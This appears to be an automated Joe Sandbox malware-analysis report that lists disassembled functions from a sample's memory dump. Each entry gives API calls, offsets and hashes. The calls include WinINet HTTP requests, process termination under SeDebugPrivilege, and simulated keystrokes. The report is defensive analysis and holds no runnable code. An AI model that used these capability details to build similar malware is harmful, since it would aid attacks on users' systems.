                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                                                                                                                                                • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                                                                                                                                                • API String ID: 1924731296-2107944366
                                                                                                                                                                • Opcode ID: 7999992d23e94d55acc1996f2c0a3f38a6e4b974b6410f49f8a7e09aa96c2c9f
                                                                                                                                                                • Instruction ID: 0eec61272809f5bfb1b3ea493814dc22ec243d9edd1bd9b5d77fb0bced75d969
                                                                                                                                                                • Opcode Fuzzy Hash: 7999992d23e94d55acc1996f2c0a3f38a6e4b974b6410f49f8a7e09aa96c2c9f
                                                                                                                                                                • Instruction Fuzzy Hash: 62518C71104310AFDB14EF58DC9AFAA77E4FB88714F00092DF996972E2CB74A909CB52
                                                                                                                                                                Function 00A0CA86 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00A0CAA5
                                                                                                                                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A0CACD
                                                                                                                                                                • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00A0CAFD
                                                                                                                                                                • GetLastError.KERNEL32 ref: 00A0CB55
                                                                                                                                                                • SetEvent.KERNEL32(?), ref: 00A0CB69
                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 00A0CB74
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3113390036-3916222277
                                                                                                                                                                • Opcode ID: b3e11520c06f26e067872a566a8f06dfbbef72ca057cc5bd5fdb18a2e6dce30e
                                                                                                                                                                • Instruction ID: 95c6523bec6736b10b72ae188e5042582df69dd96c8fe460539c492a0eb23217
                                                                                                                                                                • Opcode Fuzzy Hash: b3e11520c06f26e067872a566a8f06dfbbef72ca057cc5bd5fdb18a2e6dce30e
                                                                                                                                                                • Instruction Fuzzy Hash: 48319F71500308AFD721DFA4ED89ABB7BFCFB46750B10462EF44692291DB34DD059B61
                                                                                                                                                                Function 009FA072 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,009D3B35,?,?,Bad directive syntax error,00A2DBF4,00000000,00000010,?,?), ref: 009FA093
                                                                                                                                                                • LoadStringW.USER32(00000000,?,009D3B35,?), ref: 009FA09A
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 009FA15E
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: HandleLoadMessageModuleString_wcslen
                                                                                                                                                                • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                                                                                                                • API String ID: 858772685-4153970271
                                                                                                                                                                • Opcode ID: 25443c2d1c148ffa436e77d4dee2c562b09e8d5954ea691158a1d7dbb1b5b66f
                                                                                                                                                                • Instruction ID: 20d48e04df33507bf8bfe51ff68871438f54a7d8fc7aebd292b43e2e0b2eaca9
                                                                                                                                                                • Opcode Fuzzy Hash: 25443c2d1c148ffa436e77d4dee2c562b09e8d5954ea691158a1d7dbb1b5b66f
                                                                                                                                                                • Instruction Fuzzy Hash: 3E21BF7285421EBBCF12EF94DC06FFE7739BF18300F044865F519660A2DA75A658DB11
                                                                                                                                                                Function 009F289F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetParent.USER32 ref: 009F28AB
                                                                                                                                                                • GetClassNameW.USER32(00000000,?,00000100), ref: 009F28C0
                                                                                                                                                                • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 009F294D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ClassMessageNameParentSend
                                                                                                                                                                • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                                                                                • API String ID: 1290815626-3381328864
                                                                                                                                                                • Opcode ID: b3cc48aa2c5d5990820311ea6a9974e40d73d177662940ed8a6685f97a9a1e65
                                                                                                                                                                • Instruction ID: 74e43ec72886e89f360a3be89160165aa25dc1201840ab447e6f2cfd406b0a21
                                                                                                                                                                • Opcode Fuzzy Hash: b3cc48aa2c5d5990820311ea6a9974e40d73d177662940ed8a6685f97a9a1e65
                                                                                                                                                                • Instruction Fuzzy Hash: 72110A7728430FB9FA1123249D07FFB379CFB05735F210026FA04E70E2EAA598865654
                                                                                                                                                                Function 009CD2B0 Relevance: 13.7, APIs: 9, Instructions: 209COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _free$EnvironmentVariable___from_strstr_to_strchr
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1282221369-0
                                                                                                                                                                • Opcode ID: 872b7d22e9bd95fe4197c57fb8053625a4fb8e0641f7bf4b88c7c338287daa14
                                                                                                                                                                • Instruction ID: 55397b9571bb8a0aece81d04d4094a1b3f8d7699c7023ecd8ede62f0ef0e2c01
                                                                                                                                                                • Opcode Fuzzy Hash: 872b7d22e9bd95fe4197c57fb8053625a4fb8e0641f7bf4b88c7c338287daa14
                                                                                                                                                                • Instruction Fuzzy Hash: 1E613671D02741AFDF25AFB48881F6D7BE8AF45324F09027DF945AB2D1E63198028793
                                                                                                                                                                Function 00A257B0 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00A25862
                                                                                                                                                                • ShowWindow.USER32(?,00000000), ref: 00A258A3
                                                                                                                                                                • ShowWindow.USER32(?,00000005,?,00000000), ref: 00A258A9
                                                                                                                                                                • SetFocus.USER32(?,?,00000005,?,00000000), ref: 00A258AD
                                                                                                                                                                  • Part of subcall function 00A275A1: DeleteObject.GDI32(00000000), ref: 00A275CD
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A258E9
                                                                                                                                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A258F6
                                                                                                                                                                • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00A25929
                                                                                                                                                                • SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00A25963
                                                                                                                                                                • SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00A25972
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3210457359-0
                                                                                                                                                                • Opcode ID: 6474a500673e64a2d493d951cd477793a14301ae692698ba1e8d5c75db67b34f
                                                                                                                                                                • Instruction ID: 344bfa43af2f5d6030733b1a5d59d91822c842d1c7f5afac59b988aef1d5901b
                                                                                                                                                                • Opcode Fuzzy Hash: 6474a500673e64a2d493d951cd477793a14301ae692698ba1e8d5c75db67b34f
                                                                                                                                                                • Instruction Fuzzy Hash: 44515E30E41A28BFEF349F7DEC49BA93B65BB04360F144031FA15961E1C7B5A991EB41
                                                                                                                                                                Function 009915EB Relevance: 13.7, APIs: 9, Instructions: 160windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 009D2B05
                                                                                                                                                                • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 009D2B27
                                                                                                                                                                • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 009D2B3F
                                                                                                                                                                • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 009D2B5D
                                                                                                                                                                • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 009D2B7E
                                                                                                                                                                • DestroyIcon.USER32(00000000,?,?,?,?,?,0099143A,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 009D2B8D
                                                                                                                                                                • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 009D2BAA
                                                                                                                                                                • DestroyIcon.USER32(00000000,?,?,?,?,?,0099143A,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 009D2BB9
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1268354404-0
                                                                                                                                                                • Opcode ID: a7453818e2cadebe05af324e73d2d9da6f26907d61c32693c3ba228154bb5233
                                                                                                                                                                • Instruction ID: 6cddf4f48fa14135ae29041cf6d53bab33aa0707d6a9dac5d058bad23059fa49
                                                                                                                                                                • Opcode Fuzzy Hash: a7453818e2cadebe05af324e73d2d9da6f26907d61c32693c3ba228154bb5233
                                                                                                                                                                • Instruction Fuzzy Hash: 64516970A0060AAFDB20DF68CC85FAA7BB9FB58350F10452AF902972E0D7B4ED41DB50
                                                                                                                                                                Function 00A0C976 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00A0C9B5
                                                                                                                                                                • GetLastError.KERNEL32 ref: 00A0C9C8
                                                                                                                                                                • SetEvent.KERNEL32(?), ref: 00A0C9DC
                                                                                                                                                                  • Part of subcall function 00A0CA86: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00A0CAA5
                                                                                                                                                                  • Part of subcall function 00A0CA86: GetLastError.KERNEL32 ref: 00A0CB55
                                                                                                                                                                  • Part of subcall function 00A0CA86: SetEvent.KERNEL32(?), ref: 00A0CB69
                                                                                                                                                                  • Part of subcall function 00A0CA86: InternetCloseHandle.WININET(00000000), ref: 00A0CB74
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 337547030-0
                                                                                                                                                                • Opcode ID: 444db9fcfa41cf6cc417bcb1505e1d20f853f7a4275edd9f79d2b70c1605f3d3
                                                                                                                                                                • Instruction ID: 3d7c769b73679ddde6e64d64e85ca674ef6f6617df39f7f4f3c9c1a7966b4f4e
                                                                                                                                                                • Opcode Fuzzy Hash: 444db9fcfa41cf6cc417bcb1505e1d20f853f7a4275edd9f79d2b70c1605f3d3
                                                                                                                                                                • Instruction Fuzzy Hash: EC319071600709EFDB21CFB5EC44A76BBF9FF05350B10862DF85686650D734D9169BA0
                                                                                                                                                                Function 009F2DA2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009F4251: GetWindowThreadProcessId.USER32(?,00000000), ref: 009F426B
                                                                                                                                                                  • Part of subcall function 009F4251: GetCurrentThreadId.KERNEL32 ref: 009F4272
                                                                                                                                                                  • Part of subcall function 009F4251: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009F2DB3), ref: 009F4279
                                                                                                                                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 009F2DBD
                                                                                                                                                                • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 009F2DDB
                                                                                                                                                                • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 009F2DDF
                                                                                                                                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 009F2DE9
                                                                                                                                                                • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 009F2E01
                                                                                                                                                                • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 009F2E05
                                                                                                                                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 009F2E0F
                                                                                                                                                                • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 009F2E23
                                                                                                                                                                • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 009F2E27
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2014098862-0
                                                                                                                                                                • Opcode ID: 4c4c2fcabce1baf92005206790cfb666561c8fddedf3257f2959f07f8ea93bc0
                                                                                                                                                                • Instruction ID: 7ae82fc545fc07041a77d5afcf4044d39f1e4d738275b5392ac4e94983831339
                                                                                                                                                                • Opcode Fuzzy Hash: 4c4c2fcabce1baf92005206790cfb666561c8fddedf3257f2959f07f8ea93bc0
                                                                                                                                                                • Instruction Fuzzy Hash: 0001D8307902147BFB2067A89C8AF763F59DF99B11F100025F328AE1E1C9E154568B69
                                                                                                                                                                Function 009F207D Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,009F1CC3,?,?,00000000), ref: 009F2086
                                                                                                                                                                • HeapAlloc.KERNEL32(00000000,?,009F1CC3,?,?,00000000), ref: 009F208D
                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,009F1CC3,?,?,00000000), ref: 009F20A2
                                                                                                                                                                • GetCurrentProcess.KERNEL32(?,00000000,?,009F1CC3,?,?,00000000), ref: 009F20AA
                                                                                                                                                                • DuplicateHandle.KERNEL32(00000000,?,009F1CC3,?,?,00000000), ref: 009F20AD
                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,009F1CC3,?,?,00000000), ref: 009F20BD
                                                                                                                                                                • GetCurrentProcess.KERNEL32(009F1CC3,00000000,?,009F1CC3,?,?,00000000), ref: 009F20C5
                                                                                                                                                                • DuplicateHandle.KERNEL32(00000000,?,009F1CC3,?,?,00000000), ref: 009F20C8
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,009F20EE,00000000,00000000,00000000), ref: 009F20E2
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1957940570-0
                                                                                                                                                                • Opcode ID: 4545b75fd0bc01b2f16a013ce01071511263cecfcadf6ee40c05165fd04b6bae
                                                                                                                                                                • Instruction ID: 06ffb75d46e411394e7e18eb72babeac39bf0c55bd93c3df62c7aeccb5542c2c
                                                                                                                                                                • Opcode Fuzzy Hash: 4545b75fd0bc01b2f16a013ce01071511263cecfcadf6ee40c05165fd04b6bae
                                                                                                                                                                • Instruction Fuzzy Hash: 1601BFB5640308BFE720EBA9DC4EF677BACEB88711F004521FA05DB1A1CA709812CB60
                                                                                                                                                                Function 00A1A854 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009FDC3E: CreateToolhelp32Snapshot.KERNEL32 ref: 009FDC63
                                                                                                                                                                  • Part of subcall function 009FDC3E: Process32FirstW.KERNEL32(00000000,?), ref: 009FDC71
                                                                                                                                                                  • Part of subcall function 009FDC3E: CloseHandle.KERNEL32(00000000), ref: 009FDD49
                                                                                                                                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A1A8DF
                                                                                                                                                                • GetLastError.KERNEL32 ref: 00A1A8F2
                                                                                                                                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A1A925
                                                                                                                                                                • TerminateProcess.KERNEL32(00000000,00000000), ref: 00A1A9DA
                                                                                                                                                                • GetLastError.KERNEL32(00000000), ref: 00A1A9E5
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00A1AA36
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                                                                                                                                • String ID: SeDebugPrivilege
                                                                                                                                                                • API String ID: 2533919879-2896544425
                                                                                                                                                                • Opcode ID: 7b032b07b48e71d1ec586a3c82cde3c65935bd07d6dbf137dee117e3234e5069
                                                                                                                                                                • Instruction ID: 80bf123894c3387b59c3f609257ca2b962f955dd9226f0768882f7166cabfd29
                                                                                                                                                                • Opcode Fuzzy Hash: 7b032b07b48e71d1ec586a3c82cde3c65935bd07d6dbf137dee117e3234e5069
                                                                                                                                                                • Instruction Fuzzy Hash: C761D070206242AFD720DF18C594F69BBE0AF54348F14849CE4A68F7A3C771EC86CB92
                                                                                                                                                                Function 009FC4D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 009FC56F
                                                                                                                                                                • IsMenu.USER32(00000000), ref: 009FC58F
                                                                                                                                                                • CreatePopupMenu.USER32 ref: 009FC5C5
                                                                                                                                                                • GetMenuItemCount.USER32(01515D38), ref: 009FC616
                                                                                                                                                                • InsertMenuItemW.USER32(01515D38,?,00000001,00000030), ref: 009FC63E
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Menu$Item$CountCreateInfoInsertPopup
                                                                                                                                                                • String ID: 0$2
                                                                                                                                                                • API String ID: 93392585-3793063076
                                                                                                                                                                • Opcode ID: 409bac8ce0901be4ce102c8243cb6d4ed4908c004e95c9f554f1d52ad0e6777c
                                                                                                                                                                • Instruction ID: dd0fbaa724725203fd47d57de945f9540c3472f742ca2845b430cc06c7e43b63
                                                                                                                                                                • Opcode Fuzzy Hash: 409bac8ce0901be4ce102c8243cb6d4ed4908c004e95c9f554f1d52ad0e6777c
                                                                                                                                                                • Instruction Fuzzy Hash: 205170F050820E9BDB24CF68DA84BBEBBF8AF54318F148529F615DB291D7709941CB61
                                                                                                                                                                Function 009FCFCA Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadIconW.USER32(00000000,00007F03), ref: 009FD069
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
